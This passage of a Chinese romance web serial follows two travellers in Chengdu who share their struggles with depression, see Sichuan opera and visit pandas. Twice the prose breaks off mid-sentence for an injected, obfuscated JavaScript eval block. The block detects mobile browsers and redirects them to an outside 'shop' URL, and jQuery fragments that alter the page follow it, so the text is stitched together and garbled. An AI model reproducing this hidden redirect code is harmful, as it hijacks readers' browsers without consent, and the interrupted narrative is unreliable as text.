说完,她也喝了一口茶,感叹道:“今晚彻底不用睡了。” “确实,那你晚上打算做什么?” “我们不是要一起去看川剧吗?” 宋挚笑了,“看完川剧以后呢?睡不着的时候。” “看电视吧,我住酒店或者一个人在家的时候,都得有声音才行。太安静的话,只要室内突然有一点声响,我都会被吓到。” 好像猫啊~ 宋挚心里这么想,嘴上却没有说。毕竟,随意开口把对方比喻成某种动物,在他看来是很冒犯的行为。 “那我和你差不多。”宋挚挑了挑眉尾,“我也得开着电视,不过我不是怕有声音,而是不喜欢太安静的环境。” 雎安有些意外,笑盈盈的眼眸里带着些探究,“我还以为只有我这种胆子小的才会一直开电视呢。因为我之前和朋友说过这件事,她们都问我房间有光是怎么睡着的?” “你睡觉也开电视?” 这回,宋挚有些惊奇。 “住酒店的话就会开整晚。在家的话,我会开小夜灯睡觉。” “你怕黑?” 雎安咬了咬吸管,颔首道:“嗯,我怕黑、怕蛇、怕鬼、怕蜘蛛,什么都怕。” “那你最好找个人陪你。”宋挚应得太快,说完后才反应过来,这个时候、这个地点、以他们的身份关系,他说的话可能会产生歧义。 “有人陪未必就好,还是得内心安定才行。”雎安却是完全没多想,答得随心,“一个人有一个人的开心,也挺好的,自由且随性。” 意思是她和浮沉在一起时,内心并不安定吗? “你的意思是......你更喜欢一个人待着?” 这回,雎安的敏感雷达被顺利触发,“不是,各有各的开心,现在和你一起聊天,我也很开心啊。” 宋挚的笑意更深,嘴角高高扬起,兴许是意识到自己的开心表露得过于明显,他强压嘴角,拿起柠檬茶,猛吸了两口,还敲了敲自己的手表,提醒雎安注意时间。 “放心吧,时间够,你慢慢吃。”雎安指了指托盘上的可颂,“如果觉得很腻,不想吃的话,也没关系,我们可以去外面买些咸口的小吃。” 秉着不浪费的原则,宋挚拒绝了雎安的提议。 “不过,你和其他人一起住的时候,怎么办?一直开着灯吗?” 雎安摇头,“不会,这样会打扰别人休息。我大学的时候,床位在靠窗的位置,晚上会有光透进来,和小夜灯的效果差不多。如果是和朋友旅游住酒店的话,那就没办法了,没灯也得睡。” “没灯的话,能睡着吗?”宋挚戴上手套,准备在五分钟内吃完可颂,留出充足的转场时间。 雎安就这么定定地看着他,“没事,只是会更难入睡而已,不过我本来睡眠就不好,都无所谓了。” 两人有一搭没一搭的聊着彼此的生活习惯,随性而克制,点到为止,不该问的不多问,察觉到冒犯就直接道歉。 “其实,我不是肠胃炎。” 直到,雎安主动提起自己生病的事。 “我吃了很多治疗肠胃的药,效果都不好,后来我去看中医,说是肝气不顺导致的胃部不适,就是情绪病的意思。之前,我经历了很多不好的事情,嗯......我有些抑郁,突然之间,对什么都没兴趣,不想吃饭,不想玩手机,觉也睡不好,什么都不想干,也不知道干什么好。之后,我吃了很多治疗情绪的药,遵医嘱,坚持冥想和户外运动,情况已经好了很多。我现在都不用吃药了,只是......胃部的症状有些顽固,我还是会没吃多少东西就觉得胃胀得难受。” 雎安下意识地摸了摸自己的胃,接着道:“我胃口倒是不错,总是会想吃这个想吃那个,但最后都吃不了多少。所以,谢谢你有留意到我说的话,我觉得很温暖。” 雎安主动解释,是不想让如此细心且温柔的人感到受伤。 “抱歉,我没能承接住你的好意。” 方才,宋挚一边吃着可颂,一边认真地聆听雎安的倾诉,表情平静而专注,期间没有开口打断过她。 直到他吃完最后一个可颂,正在摘手套的时候,听到了雎安的道歉。 “不要总说抱歉和对不起。” 这一路同行下来,宋挚发现她总爱说对不起,这仿佛已经变成了她的口头禅。 “不是你的错,你就不要道歉。以后习惯成自然,万一碰到得寸进尺的人,真的会认定是你的错。” 宋挚心疼她,心疼她的遭遇,心疼她每一句脱口而出的对不起。 “我知道。”雎安很难言明自己此刻的感受,即将夺眶而出的泪水已经代为表达。 她别过头,强忍着不让眼泪掉下,“我看心理医生的时候就意识到了这个问题,我知道这很不好,这会让我的自我客体化,因为太关注别人,而忽视了自我。但这也是我的一部分,是我小时候留下的毛病,它曾经保护过弱小的我,让我免受更多的责罚和辱骂。” 可还是有一滴泪,就这么从雎安的眼角慢慢滑落。 “只是,现在环境变了,需要我更坦率、更自信,需要我更关注自己的情绪和感受。我知道我需要做出改变,这些我都知道,可我需要时间,我不想直接否定我自己,不想伤害曾那么努力保护过我的属于我的特质。” 她比他想象得更通透、更坚强,她知道她努力的方向,知道事情不会一蹴而就,所以她接纳自己,哪怕是不完美的那部分。 距离川剧开场只剩一个半小时。 地面交通堵得厉害,他们果断选择了地铁。 在去地铁的路上,雎安看着他的侧颜,发自内心地感谢和夸赞他。 “谢谢你,宋挚,谢谢你的关照。连我这么敏感的人都能自然而然地在你面前袒露心声,你真的是个细心而温暖的人。” “我会好好爱我自己的。” 那么……你呢? 雎安没能问出口,怕这会冒犯到他。 她很肯定,他的内心和她一样,盛满了孤独和悲伤。 地铁站里人头攒动、熙熙攘攘,宋挚一直紧跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16240437|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在雎安身后,防止他们被人潮冲散。 终于,在他们快要抵达目的地的时候,地铁内的人逐渐变少,原先因拥挤的人潮而出现的潮热也逐渐退出,雎安和宋挚肩并肩坐着,地铁内突然出现一阵风,雎安的头发被吹拂着往右侧斜去,发梢触到了宋挚的肌肤。 宋挚仿若触电般,往后退了一步。 地铁站距离剧院还有一段距离,步行大概需要十五分钟。 雎安认真地看着导航,宋挚则跟在她身后,观察起周边环境,发现基本都是些小商店,因为不是热门商业区,路上只有零零散散的几个行人。 “其实,我也有情绪病。”宋挚突然开口,雎安迅速将转到他身上,“是抑郁症,应该是比你严重一些,我吃了两年的药,还曾想过要了结生命。” 今夜的风,格外得燥热。 “没有人能理解我。” “不论是我的父亲,还是我的好朋友,他们都觉得我不应该得这个病,我应该要很上进、很幸福才对。” “我也这么觉得。” 雎安关掉了导航。 她想,如果这段路不足以让他倾诉完,那绕些路又如何? “我的父母很恩爱,也很开明,我们家的经济条件也还不错。一切都很好,直到我妈生病,抗癌四年,好不容易迎来了奇迹,,却因为一场意外离世了。” “我不能接受,但也只能接受,接受母亲的离世、父亲的性情大变,接受亲戚朋友们的慰问,接受所有人都在不久后便朝前看、而我却只想往后退的现实。” 雎安看着宋挚那近乎完美的侧颜,眉头却拧在了一起。 “我第一次那么清晰地意识到什么是孤独和空虚。” “即便我知道我的父亲仍然是爱我的,我的人缘也不错,还有不少的追求者,可我就是感觉……很孤独。他们都只是喜欢我自信开朗的样子,羡慕我的高能量,看中我的条件和能带来的价值。而一旦我陷入低谷,展露出脆弱和消极的一面,他们就会避开我,让我好好调整状态。” “不过,其实我也没我说得那么惨。在意识到我的不对劲的时候,我爸和几个的朋友都有来开导和帮助我。可我越是和他们接触,就越是烦躁,我觉得他们根本不懂我。” “即便他们已经努力掩饰了,可我还是能很确切地感觉到,他们并不能理解我为什么会有这么消极的状态。” “我理解你。”雎安发自内心地说出了这句话,“真的。” 追溯到蓉湖的那次偶遇,在雎安发现他的那一刻,她就共振了他的孤独和无助。 “我的身边也有人在帮助我,我能感受到他们的好意,却也能明显感觉到他们并不理解我。” 雎安想起了自己的父母,在她进入职场的一年后,因为对她的薪资不满,一直在她耳边抱怨,劝她一边工作一边考公,在她因为焦虑得了肠胃病后,一边让她多去外面放松放松,不停地给她做干净卫生的吃食,一边却又感叹她的病为什么还不好、抗压能力怎么这么弱。 在许多人看来,她得到了父母精细的照顾,养尊处优,明明就很幸福,就不该得情绪病。 就好比,若是衣食无忧的人得了情绪病,就总会有人在此类报道下留言:焦虑抑郁是富人的病,跟我们劳苦大众比,已经很幸福了。 如果这名衣食无忧的人还是个公众人物,那么抨击的声音则会更加激烈: 就是太闲了,去工地搬搬砖就知道什么是真的苦了。 就是!现在谁没点情绪?谁没有烦恼啊? 怎么这么多人焦虑抑郁啊?变成时尚单品了吗? 雎安每次刷到类似的言论,都会代入自己被父母质疑的时候,非常得窒息。 所以,她后来再看到类似的新闻,都是直接跳过。 “痛苦是无法比较的,更不应该被比较。” 雎安说完,真的很想抱抱宋挚,不止是安慰他,更是安慰她自己。 可理智告诉她,她不行。 她能感知到周浮沉的心意,即便她并不喜欢周浮沉,可周浮沉帮了她很多很多,而宋挚又是周浮沉很好的朋友,别说和宋挚在一起了,哪怕是暧昧,都让她很有负罪感。 “你说得对。”宋挚垂眸望着她的眼睛里,已有泪光,“就快到剧院了,我们不要再说不开心的事了,好好的享受当下吧。” 他们已经看到了剧院的大门,这场触及灵魂深处的谈话即将结束。 “好!” 看着宋挚湿漉漉的眼眸,雎安不自觉地伸出了手,却在触及他的前一秒迟疑了。 最终,她用力拍了拍宋挚的手臂,笑道:“毕竟,没有什么比当下的喜悦更重要了。” 闻言,宋挚也朝她展露了笑颜。 她和他,通过彼此的眼睛,完成了一次精神层面的拥抱。 59. 她慢慢卸下了面具 “我去取票,你等我一会儿。” 宋挚买的是甲票,但因为买得晚,前排的座位已经分配给了国内外的旅游团,他们的位置有些靠后。 宋挚拿着票走到雎安身边,“还有二十分钟开场,我们进场吧。” 雎安却没应好,而是抿了抿唇,有些别扭地让宋挚把票给她一下。 宋挚没有丝毫犹豫,直接递了过去。 雎安双手接过后,左手拿着票,右手举起手机,将票和剧院的牌匾框到一个镜头里,不断调整角度拍照。 宋挚就这么静静地看着她,无意间注意到剧院门前有几个铜像,除去国内旅游团的爷爷奶奶,还有不少戴着熊猫发箍的外国人在合影。 “需要帮你拍几张吗?”宋挚突然开口询问。 雎安放下门票,腼腆地摇了摇头。 宋挚瞥了眼她的手机,“想分享给朋友?” 雎安耸了耸肩,“好久没发朋友圈了。” “嗯,那你慢慢拍。”宋挚自己都没察觉到,他的心情轻松了许多。 “不拍了。”雎安指了指剧院的验票处,“快来不及了,我们进去吧。” 两人上了楼,按指引进入表演厅,顺利地找到了座位。 “没想到有这么多外国人。”雎安感叹。 “嗯,在国外,成都也是热门旅游城市。”宋挚解释完,发现雎安正探着脖子观察舞台上的道具设施,有些失落地道:“抱歉,前排的票已经被订完了。” “嗯?”雎安很快意识到宋挚的想法,解释道:“没事,这里就很好啊,太近的话,看字幕还很累脖子。我只是好奇,前后左右都想看一看。” 她像个刚刚开始探索世界的孩子,对很多事物都有着本真的好奇心。 宋挚很早就发现了她这弥足珍贵的闪光点,并且,想守护她这一点。 最后一个节目是川剧变脸。 临近尾声,演员老师们随着音乐和节奏走下台,随机和观众们互动。 雎安,满脸期盼地望着前方,眼看老师就要走到她这了,赶忙伸出手,想要互动击掌,只可惜雎安他们在十二排,离舞台实在有些远,老师们随着音乐定点,就在雎安面前转身离开了。 宋挚扭头看她,恰巧舞台上五彩斑斓的灯光投射在观众们的脸上,她身后的人都在鼓掌欢笑,与她的失落形成了鲜明对比。 离场时,宋挚发现她虽是面色如常,但唇角却微微下垂、透射出她内心深处的情绪。虽然,他无法理解这种执着,但他是尊重的。 “雎安。” “嗯?” “要不要明天......” 宋挚话还没说完,就被一个人撞倒,那人力气极大,宋挚又没有防备,若非雎安及时扯住他的包带,另一只手紧握住他的腰身,宋挚必定会撞倒身后的人。 这种偶像剧情节,或许该配上浪漫的对视,再配以浪漫舒缓的音乐点缀,让男女主角的情感极速升温。 可雎安却是迅速回头,以保卫者的姿态护在他身前,目光犀利,语气急冲,“你怎么回事,怎么故意推人啊?” 那男人瞬间炸开,“我哪有?!你什么人啊,在这乱说话。” “没事的。”宋挚安抚雎安,将她护在身后,“抱歉,她是我朋友,看我差点摔倒,有些紧张。” 宋挚话音刚落,那男人一副极高贵的模样,像娘娘勉强原谅宫女似的表情。这不仅让雎安不爽,更让宋挚眉头紧皱。 “但我也得说句实话,你那么莽撞地往前冲是不对的。要不是我朋友拉住了我,可不仅是我摔倒,还会波及楼下的人。” 这时,一旁的保安终于反应过来,出来说了句公道话:“就是啊,现在正散场,我刚刚一直说要小心台阶,你们还往前冲。要是把人推下台阶,一倒就是一片啊!” 那男人嘟了嘟嘴,一扭身,极委屈地看向同伴。 同伴会意,轻轻拍了拍他的肩,辩解道:“我们住得远,赶时间,又不是故意的,而且离台阶明明还有段距离。” 眼见事态可能愈演愈烈,这时,另一名保安出来和稀泥,“没事啦,没事啦,小矛盾,小插曲,大家都还好好的,别闹这么僵嘛~” 雎安的脸却更臭了,一把挽住宋挚的手,扯着他疾步往外走,走之前还特地回身,用极其狠厉的目光剜了对方一眼。 “没素质!” 雎安还没有意识到,而宋挚却一直看着雎安挽着他的手,乖乖地跟着她走。 兴许是因为他们越来越熟悉,宋挚能明显感觉到,她慢慢卸下了面具,不再全然压抑着情绪,变得越来越鲜活。 “呜呜呜,呜呜呜~” 一阵哭声响起,雎安僵在原地,挽着他的手也在逐步收紧。 是一个小男孩,孤身在巷子里哭。 “我们走吧。”雎安脱口而出,“我害怕。” 雎安缩到宋挚身后,声音细弱,双手不自觉地轻微打颤。 看来,那件事让她产生了不小的心理阴影。 宋挚抬手,将温热的掌心附在雎安的发凉的手背上,“没事的,那是小概率事件,不会再有第二次了。” “可是……” “我来处理。”宋挚垂眸,笑得极尽温柔,“相信我。” 宋挚一边上前,一边留意四周的情况,确认没有什么危险后,才蹲下身询问。 “小朋友,你爸妈呢?“ “呜呜呜,呜呜呜~”小男孩哭得更猛了,连话都说不出来。 这时,宋挚听到了匆忙的脚步声和开门声,立即警惕地往后退。 “你是谁?”男孩的妈妈冲了出来,指着房门上的监控,警告道:“我们家门口可是有监控。” 宋挚瞬间明白过来,这是家长在处罚自家小孩。 “那也不安全。”宋挚的气势一点也没被压下去,“如果我是人贩子,你已经没地方哭了。” 女人被呛了一下。 宋挚接着说道:“孩子犯错了可以好好教育沟通,就这样把小孩扔在外面,你不是在解决问题,而是在泄愤,只会给他留下童年阴影。” 语毕,宋挚直接转身离开,不看也不听女人暴怒的回应。 雎安没有多想,在宋挚走到她身边的时候,直接迎上去,抓住了他的手,“我们去吃蹄花,别理她。” 雎安也曾被母亲关在家门外,刚刚她在意识到那名小男孩有和她相同的遭遇时,心狠狠地抽了一下。 是来自童年抽打在心上的一鞭。 而在她听到宋挚言之凿凿地训斥那名妇人的时候,他仿佛一瞬间穿越时光,来到了幼时的她身边,把即将抽在她身上的鞭子狠狠甩开。 她竟然忘记了悲伤,没有沉浸在回忆里,没有让自己因为一件往事而再次受到伤害。 她的第一反应是要给宋挚支持,以免他受到女人辱骂的影响。 “我没事,我知道她是被戳到痛处了。”宋挚的语气相当平静。 雎安直勾勾地盯着宋挚,发现他是真的没事,并非逞强,便也就松了口气,抓着他的手也就自然而然地松开。 这时候,雎安已经意识到他们过分自然的肢体接触,但她装作什么都没发生过,低头去翻包包,找到了一颗薄荷糖,递给他,笑着安慰道:“今晚的演出很精彩,我很开心,谢谢你带我来。还有 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“我也不确定,攻略说西门的人少很多,我就觉得西门会比较好。”雎安粲然一笑,“那正好,明天我们从不同方向入园,说不定能在中途相遇呢,到时候就知道从哪边进比较好啦~” 话虽如此,雎安显然对自己的选择很有信心。 宋挚低声笑笑,应了声好。 两人抵达蹄花店的时候,店内的用餐晚高峰刚刚过去,雎安和宋挚无需等候,就得到了靠窗的位置。 用餐前,雎安去了趟洗手间,宋挚收到了周浮沉发来的问候信息,他没有隐瞒他们的行程,选择了直言相告,说自己半路撞见了雎安,刚邀请她看完川剧。 聊到这,电话另一头的周浮沉直接打了通语音过来,先是和宋挚寒暄一番,而后便让他叫雎安来接电话。 雎安刚从洗手间回来,听到宋挚说是周浮沉打来的电话时,表情明显僵了一下,而后伸手接过宋挚的手机,指了指走廊,示意自己要去外面接电话。 宋挚无甚反应,只点了点头。 “我一直在逛景点、看表演,不然就是在看导航,根本没注意到信息。” “你放心吧,我没事,我真的没把叔叔阿姨的话放在心上。出来玩就是为了开心,我是来看演唱会的,明早我还要去看大熊猫呢。” 雎安接电话时晃来晃去,视线触到宋挚目光的那一瞬,宋挚指了指冒着热气的蹄花汤。 “嗯嗯,好,我急着吃宵夜呢。谢谢你,不用不用,钱够用。那就这样了,我要把电话还给宋挚了。” 雎安小跑回去,宋挚接过电话,一点也没废话,“浮沉,下次聊,拜拜。” 利落干脆。 多年后,雎安仍记得今夜的奇妙感受,她感叹蹄花汤的美味,宋挚扬言可以完美复刻,他们完全不在意时间,一边吃一边聊着些无聊至极的话题,吃完以后还能接着聊下辈子想要变成什么动物,谁也没有表现出疲累,谁也没有着急回去休息。 就只是坐在一起消磨时间,也很开心。 雎安回想起自己前两天还躲着他,觉得他很危险,不禁笑出了声。宋挚不知道雎安在笑什么,唇角却忍不住地上扬。 晚上十一点,他们从地铁口走出来,附近的商铺全都关了,只有酒店和便利店还亮着灯。 昏暗且寂静无声的环境下,雎安通常会像是警惕心极高的野猫,躲开任何会让她感知到危险的事物。 暴怒的父母,情绪不稳定的朋友,都不例外。 而此刻,她与他并肩而行,没有感到一丝不安,甚至是格外得放松。 也就是在这一刻,雎安突然意识到,宋挚能带给她安全感。 60. 出游熊猫园 翻来覆去到三点,雎安好不容易睡着,结果还做了个噩梦。 早上精神不佳,时间又紧,她起床后紧赶慢赶,早餐都是在路上随便嚼两口昨天买的面包,赶到繁育基地的时候已经十点。 攻略显示,天气热的时候,早上九点就会收猫进内场,临近中午的时候熊猫就会开始午休。 因为有了心理准备,雎安反倒平静下来,不急不躁,脚步也慢了下来。 能看见熊猫的睡姿也不错,旅游就是要让自己开心,何必紧赶慢赶地按着攻略走,像工作一样的旅行,多无聊啊~ 哪怕遇到观光车需要排队一小时,她眼睛都没眨一下,抬脚就往上陂走。哪怕多次因为走错路而兜圈,也只是淡定地停下来看地图、问工作人员,然后接着往前走。 她想,没事的,今天的天气很不错,只是热了点、太阳晒了点,人又多了点,一切都很好嘛。 最终,她在一连走进三个馆,熊猫全都睡着的情况下,破防了。 于是,她随意走进一个场馆的休息区坐下,吹着空调,一边喝着茶饮一边安慰自己。 今天这么热,她都不想动,怎么能奢求浑身是毛的熊猫动来动去? 她总能很快调整好心态。 不知是馆内冷气很足,还是室外的温度过高,加上瓶装茶的提神作用,因缺乏睡眠而有些犯困的雎安变得格外清醒。她四下观望,发现馆内中断的玻璃窗前围满了人,好奇心一下上来,也想去凑个热闹,奈何人太多,根本挤不进去,只能在边角站着,踮起脚观望。 雎安探头往里望,果不其然,里头有一只好动的熊猫一直在爬上爬下。 在午休的时间段,如此得积极营业,难过会把这么多人都迷得五迷三道,练练发出“好可爱”的感叹。 雎安在一旁拿起手机,打算拍几张照片留念就离开的时候,熊猫突然又动了起来,只是这回是往她这边走,停在了她面前的竹子堆里。 雎安还没反应过来,却已经透过手机镜头,和那笑意盈盈的熊猫直直地对视上了。 它的唇角往上扬,连吃竹子时都面带微笑,雎安放下手机,看着他那圆滚滚的脑袋、黑溜溜的眼睛,本就不多的坏脾气就像小冰块遇到了火焰一般迅速消融。 “就在星汉馆,我听其他游客说,它叫北辰,真的好治愈、好可爱。” 雎安兴奋地分享着,发现自己其实是个分享欲很强的人,只是碍于以往无人可分享,此刻身边有个不扫兴、不说教、也不反驳她的人,话语便如滔滔不绝的洪水般拦都拦不住。 宋挚眉眼含笑地坐在蒲团上,歪着头,微躬着身体,静静地听她说话。 他们是在星星产房遇到的。 当时宋挚坐在过道的座椅上,本就人高马大,还穿着一条军绿色的工装长裤,很是显眼。雎安丝毫没有犹豫,直接上前去拍他的肩膀,在他身边坐下,然后便开始说个没停。 “你一早就来了?” 雎安说累了,扭开瓶盖喝水的时候,宋挚终于开口说了第一句话。 “不算早吧,我十点钟才到门口。”雎安觉得口干舌燥,猛地喝了一大口茶,“你呢?从南门进的话,你都快走完整个园区了吧?” 宋挚靠在台阶上,语气淡淡的,“我和你差不多时间到的,只是我随便逛了几个地方,发现熊猫都热得不想动,外头又太热,就躲进来避暑了。” “嗯,今天确实很热。”雎安从他的神态和姿态里感受到了疲累,“你中午打算吃什么,有带水和食物吗?” 接近中午十二点,雎安准备拿出昨天买的面包当午餐,才发现宋挚只背着个小挎包、两手空空、毫无准备的样子。 “还是说,你打算去某个餐厅吃饭?” 宋挚还没来得及回答,赶忙转过头去,捂嘴打了个哈欠,而后才转过头来,回答道:“水是有带一瓶,不过已经喝完了。昨晚没怎么睡,早上起来还很懵,什么都没计划,也没带东西吃。” 那岂不是连早餐都没吃? “那你喝这个吧。”雎安将包里的另一瓶红茶递出去,“店员说第二件半价,我看天气这么热,就买了两瓶。结果我走了这么久,连半瓶都没喝完,背着又很重,你帮我解决吧。” 宋挚伸手接过红茶,在她一顿解释的时候,垂眸凝视着她,虽然表情淡淡的,没有并没有什么特别的情绪,目光也没有让雎安感到不适,但他这么直勾勾地看着她,还是让她有些不自在。 雎安猜测他是困得有些神志不清了。 “这是面包,先垫点东西进肚子吧,别低血糖了。” “谢谢。”宋挚有些无力地靠着台阶,接过雎安递过来的芋泥碱水,笑着问道:“我怎么不记得你昨天有买这个?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16263585|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雎安拿出包里的肉松红豆吐司,解释道:“你手上那个是我早上用外卖叫的面包,我这个才是我们昨天一起去买的,你是想吃这个?” 她把新鲜的面包给了他。 宋挚根本没去看面包,笑道:“都行,我们分着吃吧,这样可以尝到不同的口味。” “好。” 正值饭点,在星星产房内用餐的人并不少,大多都和他们一样临时充饥,不是在吃水果,就是在啃面包。 宋挚见雎安吃面包的时候,眼睛不停地打量四周,猜想她是不是有想要的东西,便直接问她在看什么。 雎安如实回答:“在找有没有能休息的地方。” “你困了?”宋挚问道。 雎安摇头。 她刚刚喝了大半瓶红茶,又因为北辰的积极营业而兴奋不已,现在整个人还很亢奋。 “我看你很困很累,想着找个地方给你休息一下。我刚刚听他们说,观光车的等待队伍至少要排一小时,走出去肯定比观光车还要慢,回酒店休息不太现实。” 原来是因为他。 “我不想回去。”宋挚吨吨吨地喝了半瓶红茶,缓了会儿,疲劳感好似消失了,“你不累的话,就带我逛逛吧。” “可你不是很困吗?要不你在这休息一会睡吧,我守着你。” 宋挚抬头望向她,声音有些哑,“没事,我不困。” 撒谎是要付出代价的。 回程的地铁上,酷暑留存在身上的燥热气息被清凉的空调风一扫而空,宋挚一下便困得像是要昏过去。 他的眼皮打颤,不受控制地慢慢闭上,可他的脑袋还没找到熟悉的位置,左摇右晃的,弄得一旁的雎安胆战心惊。 宋挚的左边坐着雎安,右方坐着一个七十多岁的老奶奶,她笑眯眯地看着雎安和宋挚,笑得一脸慈祥。 在地铁启动时的惯性下,宋挚好几次都短暂地靠在了老奶奶的肩头上,可他却毫无反应,雎安第三次尴尬地起身,轻轻地扶正他的头,抱歉地朝奶奶笑了笑。 奶奶压低声音,提醒道:“你要扶着点他。” 见雎安一副手足无措的模样,奶奶亲自上手指导,将雎安的右手放在宋挚的耳侧,轻轻地将宋挚的脑袋推到雎安的肩上。 奶奶捂嘴轻笑,很是满意地道:“他一定会做个美梦的。” 61. 悠长的美梦 宋挚确实做了个悠长的美梦。 只可惜,醒来后什么都记不清,脑中只剩下最后那段极为模糊的画面。 梦里,他正牵着一个女生飞奔在街区的绿茵道上,女生的面容被洁白的栀子花和随风扬起的头发遮挡,可仍能感受到她是在笑的,眼角眉梢的笑意像一朵云,柔和且缥缈,好似风一吹就会散去。当她抬起头,他看到了一双灵秀清澈的眼眸,耳边是她焦急的声音。 “快醒醒,宋挚,我们要到站了。” 此刻,雎安已经将他的头重新扶正,手上使了些劲去摇晃宋挚的手臂。 宋挚艰难地睁开眼,眼睛被一道不知从哪来的光晃了一下,“抱歉,我没给你添麻烦吧?” 雎安没回答,牵着他的衣角,低头看地标,拉着宋挚出车厢,直到出了地铁站,才对着懵圈的宋挚道:“刚刚你睡得好沉,头都靠在旁边的老奶奶肩上了。” 雎安没说有关她的部分。 出了地铁站,不过百米的距离就到了酒店楼下。宋挚在室内外巨大温差的促使下,逐渐清醒过来。 雎安走在他的左侧,低垂着眼睑,脸上仍有红晕未退,耳根也有些红。 宋挚想到了什么,尴尬地摸了摸鼻子,用余光瞥了眼雎安,还是忍不住问道:“我该不会是......流口水了吧?” “啊?”雎安摁完电梯后回身看他,“没有的事,你只是靠着奶奶睡着了,没有做什么有损形象的事。只是我要和奶奶解释,有点尴尬而已。” 宋挚透过玻璃镜去看雎安,脑补出她和老奶奶一直道歉的模样,深觉自己给她造成了不小的麻烦,一时不知所言。 换作往常,如果他麻烦了朋友,最直接的方法就是请客吃饭,但雎安很是敏感,他直接这么做,怕会显得唐突。 宋挚俯身低头,恰巧注意到雎安的包包,想起那次在蜀绣馆,她离开时两手空空,应该是没买到心仪的纪念品,心中突然有了主意。 “你待会儿要去哪?”宋挚在她进房间前,叫住了她。 “我很困,可能会睡到五六点再出门。晚上倒是没什么特别的计划,可能会探店找美食吧。” “我知道这附近有个古镇商业街,里边和附近的市场有很多卖纪念品的,你想去看看吗?” 见她迟迟未应,宋挚接着说道:“那有几家卖熊猫玩偶和蜀绣纪念品的,送朋友应该不错,还有好多地道的餐馆,里边还有川剧表演,虽然是草台班子,但攻略说很有意思。” 好像还挺好的…… 雎安有顾虑,抿了抿嘴,面露纠结之色。 宋挚没有放弃,接着道:“午餐和水都是你分给我的,地铁上又是你在照顾我,给你添了这么多麻烦,我真的觉得不好意思。所以,我想请你吃一顿火锅,可以吗?” 雎安终于点了头,“好。不过,我明天一早有安排,今晚得早点回来休息。对了,要不……你把攻略发给我看看吧。” “好。”宋挚知道她的顾虑,并且觉得女生独自在外有防备心是绝对的好事。“我待会儿就把攻略发给你,你先看看有没有兴趣。没有的话,不去也行。” “好,那你记得把刚刚在熊猫基地拍的照片一起发给我,谢谢~” 他们的聊天框里还没有一句对话。 宋挚躺在沙发上,对着空白的聊天框发呆,思索片刻后发送:“Hi,我是宋挚。” 简单的问好之后,他将相关攻略的内容截图下来,随后打开相册,打算将截图和照片一键发送出去。 可最后,他却在点击发送的时候犹豫了。 照片是在他们路过小熊猫的栖息地时拍的。 当时他们已经非常累了,红茶的醒神功能也在逐渐变弱,他想直接走大道离开园区,但看到雎安用她那亮晶晶的双眼望着小熊猫的指示牌,他实在不忍心扫兴,甚至主动要求去看一眼。 然后,他们就很幸运地碰见了一只尚未午休的小熊猫。 天气太热,它被热得出来寻找冰床,正巧雎安身后的树林里就有一个,它爬上冰床,展开四肢,趴在上边不停地吐舌头哈气,模样很是可爱。 “它好像小狗啊~”宋挚不由地感叹,却被路过的游客瞪了一眼。 雎安根本没精力去注意宋挚,拿起手机一顿咔咔拍,拍到满意的照片后,倒是注意到了身旁的游客。 刚刚他们附近明明没什么人,怎么小熊猫一出现人就这么多人?他们都是从哪冒出来? 雎安觉得很神奇。 “我帮你拍张和小熊猫的合照吧。” 上次在川剧院门口,宋挚能看出来雎安是想拍照的,但他问她,她却因为羞涩而礼貌地拒绝了。 所以,这次他索性不问,雎安的反应如他所料,直接转过身来配合他拍照。 “要不要用我的手机拍?” 他们逐渐被人群围住,雎安只要往前走一步,位置就会被其他人占去,而宋挚和她隔着三个人的距离,也不好上前去挤。 “可我拿不到你手机。”宋挚举起自己的手机,询问道:“我拍完以后发给你,OK吗?” “OK.”难得能拍几张全身照,雎安欣然地接受了。 “你过来,我帮你拍。” 宋挚拍完照后,雎安示意他过来,他却摇头拒绝了。 现在想想,他竟有些后悔,当时人虽然很多,但拍张照留念留念,也是不错的回忆。 宋挚将相册里全是人头的照片删去,只剩两张能看,其中一张还因为他的俯拍缘故,把雎安拍得像是只有一米的小矮人。他为自己的拍照技术捏把汗,庆幸还剩一张能看的同时,点击了发送。 “抱歉,只有这张能看,其他拍得都很奇怪,我已经删掉了。” 过了十分钟,雎安才回复,“没事,谢谢,这张就很好。我看了你的攻略,那地方确实不错,我蛮感兴趣的。所以,下午五点在酒店大厅碰面,你ok吗?” “行。” 宋挚看了看,觉得一个字的回复太冷漠,又加了个表情包。 随后,他便起身去换睡衣,准备补觉。 入睡前,一则新闻推送来,是关于“初见雁防晒喷雾事件”的推送,原本被卢震南压下去的负面新闻,因为前几天在酒店发生的事,在网上又起了些水花。 宋挚简单地浏览后,看了眼微信,发现雎安没再回复他。 她应该是睡了。 下午四点,睡得极沉的宋挚被闹钟吵醒,起身给手机充电,去洗手间洗漱后换了身衣服,见时间后还算充裕,他将穿过的衣服拿到酒店的洗衣房去清洗。 下午五点,他们准时在酒店大堂碰面。 下午五点半,他们在看了将近半小时的窗外风景后,终于抵达了古镇。 他们有很多极其相似的点,比如在有第三人在同一空间的情况下,他们都很默契地选择不说话,但在下车后,却能迅速地打开话匣子。 他们滔滔不绝,一边聊天一边逛街,买了几个纪念品,时间很快就过去了。 晚上七点,他们坐在古镇里的餐馆里喝茶。 这回,雎安和宋挚都选了花茶,没放茶叶的那种。 “明天晚上就是演唱会了,今晚必须得休息好。”雎安朝宋挚挑了挑眉。 